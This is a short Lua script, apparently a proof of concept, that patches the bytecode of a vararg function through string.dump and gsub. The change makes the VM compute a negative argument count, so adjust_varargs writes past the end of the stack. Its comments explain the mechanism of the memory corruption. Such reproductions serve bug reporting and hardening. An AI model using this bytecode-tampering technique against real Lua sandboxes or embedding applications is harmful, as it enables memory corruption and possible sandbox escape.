-- A Lua vararg function with a decent number of non-vararg parameters
function Consumer(a, b, c, d, e, f, g, h, i, j, k, l, m, ...)
print "3"
local t = {...} -- use the vararg so that we aren't given an arg table
print "4"
end
-- A Lua vararg function with lots of locals which calls the consumer with the vararg
function Creator(...)
local a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s, t, u, v, w, x, y, z
-- This line is currently GETGLOBAL, VARARG, CALL
Consumer(...)
-- It will later be modified so that the VARARG writes to the bottom of the stack rather than the top,
-- while the CALL will remain at the top. This will result in the stack id of the function being
-- higher than L->top. When luaD_precall comes to make the call to Consumer, it calculates nargs:
-- int nargs = cast_int(L->top - func) - 1;
-- Hence nargs will become seriously negative (around negative 26) and adjust_varargs will write well
-- beyond the end of the stack, resulting in havok.
end
print "1"
-- Change creator's OP_VARARG 'A' field from the top of the stack to the bottom
Creator = assert(loadstring(('').dump(Creator):gsub('%\37\7%z%z', '%\37\0\0\0'))) -- \37 is OP_VARARG, and also '%'
print "2"
-- Fun time
Creator()
print "5"